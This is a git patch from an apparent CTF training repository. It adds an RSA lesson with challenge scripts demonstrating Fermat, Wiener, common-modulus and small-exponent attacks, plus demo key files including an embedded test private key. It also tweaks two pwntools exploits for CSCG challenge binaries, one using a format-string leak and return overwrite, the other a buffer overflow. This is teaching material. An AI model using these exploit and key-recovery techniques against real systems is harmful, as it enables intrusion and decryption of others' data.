From 890114066f54582b17ae47b432797bb581f5d28b Mon Sep 17 00:00:00 2001 From: cato447 Date: Sun, 25 Jan 2026 00:53:16 +0100 Subject: [PATCH] rsa lesson added --- 2024/cscg/pwn/intro-pwn-1/exploit.py | 9 ++- 2025/cscg/pwn/intro1/Dockerfile | 2 +- .../h4tum/Intro_to_RSA/Intro_to_RSA__PPT.pdf | Bin 0 -> 425777 bytes .../Intro_to_RSA/Intro_to_RSA__handout.pdf | Bin 0 -> 414188 bytes .../h4tum/Intro_to_RSA/challenge/Fermat/1.py | 45 +++++++++++ .../h4tum/Intro_to_RSA/challenge/Wiener/2.py | 39 ++++++++++ .../challenge/Wiener/wiener_attack.py | 71 ++++++++++++++++++ .../h4tum/Intro_to_RSA/challenge/modular/3.py | 50 ++++++++++++ .../h4tum/Intro_to_RSA/challenge/small e/4.py | 25 ++++++ .../Intro_to_RSA/demo/PEM/dec_private.py | 36 +++++++++ .../h4tum/Intro_to_RSA/demo/PEM/dec_pub.py | 16 ++++ .../h4tum/Intro_to_RSA/demo/PEM/easy_gen.py | 15 ++++ training/h4tum/Intro_to_RSA/demo/PEM/gen.py | 37 +++++++++ .../h4tum/Intro_to_RSA/demo/rsa_crt_demo.py | 50 ++++++++++++ training/h4tum/Intro_to_RSA/demo/rsa_demo.py | 37 +++++++++ .../binex_training/cscg_2024_intro_pwn/pwn1 | Bin .../cscg_2025_intro_pwn/exploit.py | 2 +- 17 files changed, 429 insertions(+), 5 deletions(-) create mode 100644 training/h4tum/Intro_to_RSA/Intro_to_RSA__PPT.pdf create mode 100644 training/h4tum/Intro_to_RSA/Intro_to_RSA__handout.pdf create mode 100644 training/h4tum/Intro_to_RSA/challenge/Fermat/1.py create mode 100644 training/h4tum/Intro_to_RSA/challenge/Wiener/2.py create mode 100644 training/h4tum/Intro_to_RSA/challenge/Wiener/wiener_attack.py create mode 100644 training/h4tum/Intro_to_RSA/challenge/modular/3.py create mode 100644 training/h4tum/Intro_to_RSA/challenge/small e/4.py create mode 100644 training/h4tum/Intro_to_RSA/demo/PEM/dec_private.py create mode 100644 training/h4tum/Intro_to_RSA/demo/PEM/dec_pub.py create mode 100644 training/h4tum/Intro_to_RSA/demo/PEM/easy_gen.py create mode 100644 training/h4tum/Intro_to_RSA/demo/PEM/gen.py create mode 100644 training/h4tum/Intro_to_RSA/demo/rsa_crt_demo.py create mode 100644 training/h4tum/Intro_to_RSA/demo/rsa_demo.py mode change 100644 => 100755 training/h4tum/binex_training/cscg_2024_intro_pwn/pwn1 diff --git a/2024/cscg/pwn/intro-pwn-1/exploit.py b/2024/cscg/pwn/intro-pwn-1/exploit.py index 9a6ff80..f821f07 100644 --- a/2024/cscg/pwn/intro-pwn-1/exploit.py +++ b/2024/cscg/pwn/intro-pwn-1/exploit.py @@ -6,8 +6,10 @@ ret_sled = 0x9eb win_func_offset = 0x9ec #with remote("b037e7ec4c1207e6b54007fb-1024-intro-pwn-1.challenge.cscg.live", 1337, ssl=True) as p: -with remote("localhost", 1024, fam="ipv4") as p: +#with remote("localhost", 1024, fam="ipv4") as p: +with process("./pwn1") as p: p.recvuntil(b":") + input("debugger") p.sendline(b"%37$p") data = p.recvuntil(b":") memory_address_pattern = r"0x[0-9a-fA-F]+" @@ -25,5 +27,6 @@ with remote("localhost", 1024, fam="ipv4") as p: payload += p64((memory_address & 0xFFFFFFFFFFFFF000) | ret_sled) payload += p64(win_address) p.sendline(payload) - p.sendline(b"cat flag") - log.info(p.clean()) + p.interactive() + #p.sendline(b"cat flag") + #log.info(p.clean()) diff --git a/2025/cscg/pwn/intro1/Dockerfile b/2025/cscg/pwn/intro1/Dockerfile index 0e91025..ce32bca 100644 --- a/2025/cscg/pwn/intro1/Dockerfile +++ b/2025/cscg/pwn/intro1/Dockerfile @@ -52,4 +52,4 @@ COPY ./flag /flag EXPOSE 1024 -CMD ["/ynetd", "-se", "y", "-p", "1024", "/intro-pwn"] \ No newline at end of file +CMD ["/ynetd", "-se", "y", "-p", "1024", "/intro-pwn"] diff --git a/training/h4tum/Intro_to_RSA/Intro_to_RSA__PPT.pdf b/training/h4tum/Intro_to_RSA/Intro_to_RSA__PPT.pdf new file mode 100644 index 0000000000000000000000000000000000000000..0bf2f48a8e00564d4ea3a88beeaf14a09d9b92b7 GIT binary patch literal 425777 zcmeEtWmH^Ew`On;9vm7E5*!*Q!QEYhG%k%h1PD%W*8suY-CYwPxI=Jvhv_8Wcki9| z-kG2CYgmibeRiFyv-eY5o>Ns#ttcw~j+KcMnY!a9=NXxel@q`Mursnm=H~}6%Uali z3>_>yKqdfI$Q6KtjS~n20+=NMIsi5n79fCwhZCR&U{(OIvGM?z#QA=Cp$^{Sa)WY-i^LX$1bgQh~qIL*f`m_IambwxwuSN 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a/training/h4tum/Intro_to_RSA/challenge/Fermat/1.py b/training/h4tum/Intro_to_RSA/challenge/Fermat/1.py new file mode 100644 index 0000000..453f76c --- /dev/null +++ b/training/h4tum/Intro_to_RSA/challenge/Fermat/1.py @@ -0,0 +1,45 @@ +from Crypto.Util.number import inverse, getPrime, bytes_to_long, long_to_bytes +from sympy import nextprime +import os +import math + + +flag = "h4tum{...}" +m = bytes_to_long(flag.encode()) + +p : int = getPrime(512) +diff = int.from_bytes(os.urandom(16), 'big') +q : int = nextprime(p - diff) +n = p * q +phi = (p - 1) * (q - 1) +e = 65537 +d = inverse(e, phi) + +ciphertext = pow(m, e, n) + +print(f"Here is the public key:\nn = {n}\ne = {e}") +print(f"\nHere is the encrypted flag:\n{ciphertext}") + +t = math.isqrt(n) + +for i in range((n+1)//2 - t + 1): + val = (t + i)**2 - n + if val > 0: + root = math.isqrt(val) + if root * root == val: + r = math.isqrt((t+i)**2 - n) + rec_p = (t+i) - r + rec_q = (t+i) + r + rec_phi = (rec_p-1) * (rec_q-1) + rec_d = inverse(e, rec_phi) + plain_text = pow(ciphertext, rec_d, n) + print("We recovered d yay") + print(f"Cracked flag: {long_to_bytes(plain_text)}") + break + + + + +# Here is the public key: +# Here is the encrypted flag: +# 13158607848927768767396122915610010628021182023103983078656746030071489695567187651581550866461152226282740548654306454938594539749024910072164328096542525661951926739718955208177780816184581302682602611753650161772357698132248994074563798067850345731371433620586869504864647385937063506440611160969011596274 diff --git a/training/h4tum/Intro_to_RSA/challenge/Wiener/2.py b/training/h4tum/Intro_to_RSA/challenge/Wiener/2.py new file mode 100644 index 0000000..3a03447 --- /dev/null +++ b/training/h4tum/Intro_to_RSA/challenge/Wiener/2.py @@ -0,0 +1,39 @@ +from Crypto.Util.number import inverse, getPrime, bytes_to_long, long_to_bytes +from Crypto.PublicKey import RSA +from wiener_attack import wiener_attack + +flag = "h4tum{...}" +m = bytes_to_long(flag.encode()) + +p = getPrime(512) +q = getPrime(512) +n = p * q +phi = (p - 1) * (q - 1) +d = getPrime(30) +e = inverse(d, phi) + +ciphertext = pow(m, e, n) + +pubkey = RSA.construct((n, e)) +pub_pem = pubkey.export_key(format="PEM") + +print(pub_pem.decode()) +print(f"\nHere is the encrypted flag:\n{ciphertext}") + +rec_d = wiener_attack(e, n) + +print(long_to_bytes(pow(ciphertext, d, n))) + +# -----BEGIN PUBLIC KEY----- +# MIIBHjANBgkqhkiG9w0BAQEFAAOCAQsAMIIBBgKBgGUboAvXiM8ETI/20wMIDKp4 +# Yvh0bh90Rv5ixgn0cwUru18hYZdHMmbVRbbzImcJUl+TiGO6ED71fZARh55vpA+p +# IVwrXsFUnUzpF+5Xt04qo6ums1nSd3Kqx/A1gBerMCk8sO8PPJwKW/SgUu8SpOMn +# XtNB3UCiF5iklNzpRJ9BAoGAWMfZ0dEudQf+xEwd4jq066R781PuIQ+FwsEpDAtC +# oFuPpJgo2JEhw6QHdPbSBSAZiJTeKUBrh34s1Y1ALNQy2HgpDF+UGvfndeqxI+tx +# ZnhnmOKyFWLRS7CElp0YunzaWSjM9B4UeyDqnO70f0wopGhSrHx326ourFJBKDak +# g0k= +# -----END PUBLIC KEY----- + +# Here is the encrypted flag: +# 33875780076252799475072801857719625760580293404621927950834466845200175353837317794093362254089677034810036784377827562641344104659319423578279557002930036256051311423722214046538552333691207322585750166331224527229737296960110973126147103391345215399552776397918690683992071757399724992352071896156421861125 + diff --git a/training/h4tum/Intro_to_RSA/challenge/Wiener/wiener_attack.py b/training/h4tum/Intro_to_RSA/challenge/Wiener/wiener_attack.py new file mode 100644 index 0000000..4cc5b71 --- /dev/null +++ b/training/h4tum/Intro_to_RSA/challenge/Wiener/wiener_attack.py @@ -0,0 +1,71 @@ +import math + +def continued_fraction(numerator, denominator): + """Generate the continued fraction expansion of numerator/denominator.""" + cf = [] + while denominator: + a = numerator // denominator + cf.append(a) + numerator, denominator = denominator, numerator - a * denominator + return cf + + +def convergents_from_cf(cf): + """Generate convergents (k, d) from a continued fraction sequence cf.""" + n0, d0 = cf[0], 1 + yield (n0, 1) + if len(cf) == 1: + return + n1 = cf[1] * cf[0] + 1 + d1 = cf[1] + yield (n1, d1) + for i in range(2, len(cf)): + ni = cf[i] * n1 + n0 + di = cf[i] * d1 + d0 + yield (ni, di) + n0, d0, n1, d1 = n1, d1, ni, di + + +def is_perfect_square(x): + """Check whether x is a perfect square.""" + if x < 0: + return False + s = math.isqrt(x) + return s * s == x + + +def wiener_attack(e, n): + """ + Attempt to recover the RSA private exponent d using Wiener's attack. + + Args: + e: Public exponent + n: Modulus + + Returns: + If successful, returns the private exponent d; otherwise returns None. + """ + cf = continued_fraction(e, n) + for k, d in convergents_from_cf(cf): + if k == 0: + continue + + # Check whether (e*d - 1) is divisible by k to derive phi + if (e * d - 1) % k != 0: + continue + phi = (e * d - 1) // k + + # Discriminant of x^2 - (n - phi + 1)x + n = 0 + s = n - phi + 1 + discr = s * s - 4 * n + + if discr >= 0 and is_perfect_square(discr): + t = math.isqrt(discr) + + # Recover p and q + p = (s + t) // 2 + q = (s - t) // 2 + if p * q == n: + return d + + return None diff --git a/training/h4tum/Intro_to_RSA/challenge/modular/3.py b/training/h4tum/Intro_to_RSA/challenge/modular/3.py new file mode 100644 index 0000000..fe4ce7c --- /dev/null +++ b/training/h4tum/Intro_to_RSA/challenge/modular/3.py @@ -0,0 +1,50 @@ +from Crypto.Util.number import getPrime, bytes_to_long, long_to_bytes +from sympy import gcdex +from math import gcd + + +flag = "h4tum{...}" +m = bytes_to_long(flag.encode()) + +e1, e2 = 65537, 17 +assert gcd(e1, e2) == 1 + +while True: + p = getPrime(512) + q = getPrime(512) + n = p * q + phi = (p - 1) * (q - 1) + + if gcd(e1, phi) != 1 or gcd(e2, phi) != 1: + continue + if m >= n: + continue + if gcd(m, n) != 1: + continue + break + +c1 = pow(m, e1, n) +c2 = pow(m, e2, n) + + +print(f"n = {n}") +print(f"e1 = {e1}") +print(f"e2 = {e2}") +print(f"c1 = {c1}") +print(f"c2 = {c2}") + +x, y, g = gcdex(e1, e2) + +x = int(x) +y = int(y) + +print(f"x {x} | y {y}") + +if g == 1: + print(long_to_bytes(pow((pow(c1, x, n) * pow(c2, y, n)), 1, n))) + +# n = 65707100137186888475953513086898008905139437630875837854644107822814283110769943579567177881705884274398390781130006134316686487768614537736768547066999613093550734163327713557603091143994827233687646229561643622445920391793762897858845575115299394349389922615093939357420040773283610664101678989419396092347 +# e1 = 65537 +# e2 = 17 +# c1 = 7884926352513340573382039144424214727926794782607805142710494009270484466220925417591780881028724970568583944980873161206083606075384860708927042438650854760874336954047477893939539790216193654418650762594184302293754065850164791109812773425623526938062911997730089936569977360813014753477745012650386772981 +# c2 = 11375974342330610521528067622440162683299269265928514681623828493060125481649837931599740517662407981391104665035998955029942650948493441810229768425798821925645814933013176879334289941104021860757801270190361115580835274215465891021181470368445998384179348332817603554056032081626905073456569537572535147729 diff --git a/training/h4tum/Intro_to_RSA/challenge/small e/4.py b/training/h4tum/Intro_to_RSA/challenge/small e/4.py new file mode 100644 index 0000000..d1f4396 --- /dev/null +++ b/training/h4tum/Intro_to_RSA/challenge/small e/4.py @@ -0,0 +1,25 @@ +from Crypto.Util.number import inverse, getPrime, bytes_to_long + + +flag = "h4tum{...}" +m = bytes_to_long(flag.encode()) + +p = getPrime(512) +q = getPrime(512) +n = p * q +phi = (p - 1) * (q - 1) +e = 3 +d = inverse(e, phi) + + +ciphertext = pow(m, e, n) + +print(f"Here is the public key:\nn = {n}\ne = {e}") +print(f"\nHere is the encrypted flag:\n{ciphertext}") + +# Here is the public key: +# n = 133754776379084890949396128184054209827880534649872344546551916044637014117738848312911601805615413451730371613447269527792021869628568786604565343522407135622719358245312844577182399504053254247235363664243271537669953064325407487226101646170736997104441396305543325547272540155515055362880210828933349672043 +# e = 3 + +# Here is the encrypted flag: +# 27485520006079233807623807132370137913974673072796110190145166712012781629787795173249446320555776530359265337337323534643030075414274984551090326260078977798035707372748401792308537889036666723735654189543943146031289186076736572201980302715998036022634187371997765033713933871352433152430973165071957865672 diff --git a/training/h4tum/Intro_to_RSA/demo/PEM/dec_private.py b/training/h4tum/Intro_to_RSA/demo/PEM/dec_private.py new file mode 100644 index 0000000..913bbac --- /dev/null +++ b/training/h4tum/Intro_to_RSA/demo/PEM/dec_private.py @@ -0,0 +1,36 @@ +from cryptography.hazmat.primitives import serialization + +pem_data = b""" +-----BEGIN PRIVATE KEY----- +MIICeAIBADANBgkqhkiG9w0BAQEFAASCAmIwggJeAgEAAoGBAK4gNXUU314X3Wp8 +ORTyJDw/WqrShnmk2SKuJHocNc9NXWbSZB/UQpjjt5yjmB5Ugl7OkfQd+53TsmJy +Vr2ZYjpqNAtu5ijJiBQ3cVTeKEGzPHeCHWLedfStUbC77/+kNAsGPQOzkoHmXe95 +UnopxzVOfjSdR6vab6YXNvpj1DdvAgMBAAECgYAfT8ltIXC9UdtOD8KQAq8Dan0a +ZLsr2rn1I42Jq9L9UTMvjzvUAW5sYd6du0laguXiuJDEbjPWAMB+NYNlmtRv0rzt +Ych1EHF/hgCZUMHxISYrrvY1PoHu4JZmTGpo5cREdnjfqzyEDvXO+Rg2AA7rk7hW +qg8cmisvaujZ+vtReQJBANkPhl4ItI8uMGqOB7Lev5pMNmZPOkqcYFl7Vi9OYr5s +wsTKyvaGM8i2NonSAgwszLl6ylHEBy5CkCopq9gbN4sCQQDNXOirgt/X75ScYPso +pzMtcCN0WUPeAbxqfOcerZ5e8XDROGSotjZc3uCaXgPk7kmBRPcoLTHoBruO5pPz +8NwtAkEAlVzagFCLNs9434nWgF5JCHsTH/m6yearYke9uZW92v1qVRKa8WLNtXq1 +MsdBQ3F8etGk8PjsXAfPvkOojW/FGwJBALFiLxb2VKMQLi1lF4xl366/zeARuq1o +knborDmzfbhElE4jh86ylQJjAV5VFsgHizY9e78YSqNALYGhaOqsgYECQQDDavQE +Z47hwsvkDXSfmOYbLCqPUVKJ4Kk/OO+m8yCugQImDYxgIylroZe3wpKFH5Yk2NkB +G6buDKcaTFHcOJiy +-----END PRIVATE KEY----- +""" + +private_key = serialization.load_pem_private_key( + pem_data, + password=None +) + +numbers = private_key.private_numbers() + +print(f"Modulus (n): {numbers.public_numbers.n}") +print(f"Public Exponent (e): {numbers.public_numbers.e}") +print(f"Private Exponent (d): {numbers.d}") +print(f"Prime 1 (p): {numbers.p}") +print(f"Prime 2 (q): {numbers.q}") +print(f"d mod (p-1): {numbers.dmp1}") +print(f"d mod (q-1): {numbers.dmq1}") +print(f"q^-1 mod p: {numbers.iqmp}") \ No newline at end of file diff --git a/training/h4tum/Intro_to_RSA/demo/PEM/dec_pub.py b/training/h4tum/Intro_to_RSA/demo/PEM/dec_pub.py new file mode 100644 index 0000000..14c907b --- /dev/null +++ b/training/h4tum/Intro_to_RSA/demo/PEM/dec_pub.py @@ -0,0 +1,16 @@ +from cryptography.hazmat.primitives import serialization + +pem_data = b""" +-----BEGIN PUBLIC KEY----- +MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCuIDV1FN9eF91qfDkU8iQ8P1qq +0oZ5pNkiriR6HDXPTV1m0mQf1EKY47eco5geVIJezpH0Hfud07Jicla9mWI6ajQL +buYoyYgUN3FU3ihBszx3gh1i3nX0rVGwu+//pDQLBj0Ds5KB5l3veVJ6Kcc1Tn40 +nUer2m+mFzb6Y9Q3bwIDAQAB +-----END PUBLIC KEY----- +""" + +key = serialization.load_pem_public_key(pem_data) + +numbers = key.public_numbers() +print(f"Modulus (n): {numbers.n}") +print(f"Exponent (e): {numbers.e}") \ No newline at end of file diff --git a/training/h4tum/Intro_to_RSA/demo/PEM/easy_gen.py b/training/h4tum/Intro_to_RSA/demo/PEM/easy_gen.py new file mode 100644 index 0000000..39fd7ff --- /dev/null +++ b/training/h4tum/Intro_to_RSA/demo/PEM/easy_gen.py @@ -0,0 +1,15 @@ +from cryptography.hazmat.primitives.asymmetric import rsa +from cryptography.hazmat.primitives import serialization + +key = rsa.generate_private_key(public_exponent=65537, key_size=1024) + +print(key.private_bytes( + serialization.Encoding.PEM, + serialization.PrivateFormat.PKCS8, + serialization.NoEncryption() +).decode()) + +print(key.public_key().public_bytes( + serialization.Encoding.PEM, + serialization.PublicFormat.SubjectPublicKeyInfo +).decode()) diff --git a/training/h4tum/Intro_to_RSA/demo/PEM/gen.py b/training/h4tum/Intro_to_RSA/demo/PEM/gen.py new file mode 100644 index 0000000..4e99d28 --- /dev/null +++ b/training/h4tum/Intro_to_RSA/demo/PEM/gen.py @@ -0,0 +1,37 @@ +from cryptography.hazmat.primitives.asymmetric import rsa +from cryptography.hazmat.primitives import serialization +from Crypto.Util.number import getPrime + +e = 65537 +p = getPrime(512) +q = getPrime(512) +n = p * q +phi = (p - 1) * (q - 1) +d = pow(e, -1, phi) + +dp = d % (p - 1) +dq = d % (q - 1) +q_inv = pow(q, -1, p) + +private_numbers = rsa.RSAPrivateNumbers( + p=p, + q=q, + d=d, + dmp1=dp, + dmq1=dq, + iqmp=q_inv, + public_numbers=rsa.RSAPublicNumbers(e=e, n=n) +) + +key = private_numbers.private_key() + +print(key.private_bytes( + encoding=serialization.Encoding.PEM, + format=serialization.PrivateFormat.PKCS8, + encryption_algorithm=serialization.NoEncryption() +).decode()) + +print(key.public_key().public_bytes( + serialization.Encoding.PEM, + serialization.PublicFormat.SubjectPublicKeyInfo +).decode()) \ No newline at end of file diff --git a/training/h4tum/Intro_to_RSA/demo/rsa_crt_demo.py b/training/h4tum/Intro_to_RSA/demo/rsa_crt_demo.py new file mode 100644 index 0000000..308cb00 --- /dev/null +++ b/training/h4tum/Intro_to_RSA/demo/rsa_crt_demo.py @@ -0,0 +1,50 @@ +from Crypto.Util.number import getPrime, bytes_to_long, long_to_bytes +from math import gcd +from sympy.ntheory.modular import crt +import time + +# key generation +p = getPrime(512) # 512-bit prime number +q = getPrime(512) # 512-bit prime number +n = p * q +phi = (p - 1) * (q - 1) +e = 65537 # = 2^16 +1 = 10000000000000001 +assert gcd(e, phi) == 1 + +d = pow(e, -1, phi) + +# encryption +def encrypt(message): + m = bytes_to_long(message.encode()) + c = pow(m, e, n) + return c + +# CRT +dp = d % (p - 1) # d_p = d mod (p-1) +dq = d % (q - 1) # d_q = d mod (q-1) +q_inv = pow(q, -1, p) # q^{-1} mod p + +def decrypt(cipher_int): + m1 = pow(cipher_int, dp, p) # c^dp mod p + m2 = pow(cipher_int, dq, q) # c^dq mod q + + m, mod = crt([p, q], [m1, m2]) # m ≡ m1 (mod p), m ≡ m2 (mod q) + + # Garner's Algorithm + # h = (m1 - m2) * q_inv % p + # m = (m2 + h * q) % n + + message = long_to_bytes(m).decode() + return message + +m = "Hello World" +c = encrypt(m) + +start = time.perf_counter() +m_recover = decrypt(c) +end = time.perf_counter() + +print("Ciphertext: ", c) + +print("Message: ", m_recover) +print(f"decrypt time: {(end-start)*1e3:.3f} ms") diff --git a/training/h4tum/Intro_to_RSA/demo/rsa_demo.py b/training/h4tum/Intro_to_RSA/demo/rsa_demo.py new file mode 100644 index 0000000..0d41cdb --- /dev/null +++ b/training/h4tum/Intro_to_RSA/demo/rsa_demo.py @@ -0,0 +1,37 @@ +from Crypto.Util.number import getPrime, bytes_to_long, long_to_bytes +from math import gcd +import time + +# key generation +p = getPrime(512) # 512-bit prime number +q = getPrime(512) # 512-bit prime number +n = p * q +phi = (p - 1) * (q - 1) +e = 65537 # = 2^16 +1 = 10000000000000001 +assert gcd(e, phi) == 1 + +d = pow(e, -1, phi) + +# encryption +def encrypt(message): + m = bytes_to_long(message.encode()) + c = pow(m, e, n) + return c + +# decryption +def decrypt(cipher_int): + m = pow(cipher_int, d, n) + message = long_to_bytes(m).decode() + return message + +m = "Hello World" +c = encrypt(m) + +start = time.perf_counter() +m_recover = decrypt(c) +end = time.perf_counter() + +print("Ciphertext: ", c) + +print("Message: ", m_recover) +print(f"decrypt time: {(end-start)*1e3:.3f} ms") \ No newline at end of file diff --git a/training/h4tum/binex_training/cscg_2024_intro_pwn/pwn1 b/training/h4tum/binex_training/cscg_2024_intro_pwn/pwn1 old mode 100644 new mode 100755 diff --git a/training/h4tum/binex_training/cscg_2025_intro_pwn/exploit.py b/training/h4tum/binex_training/cscg_2025_intro_pwn/exploit.py index 6d770cc..05d6c55 100644 --- a/training/h4tum/binex_training/cscg_2025_intro_pwn/exploit.py +++ b/training/h4tum/binex_training/cscg_2025_intro_pwn/exploit.py @@ -3,5 +3,5 @@ from pwn import * with process('./intro-pwn') as p: print(p.recvuntil(b"?")) input("open gdb") - print(p.sendline(b"A"*16+b"B"*8+b"C"*8)) + print(p.sendline(b"A"*16+b"B"*8)) p.interactive()

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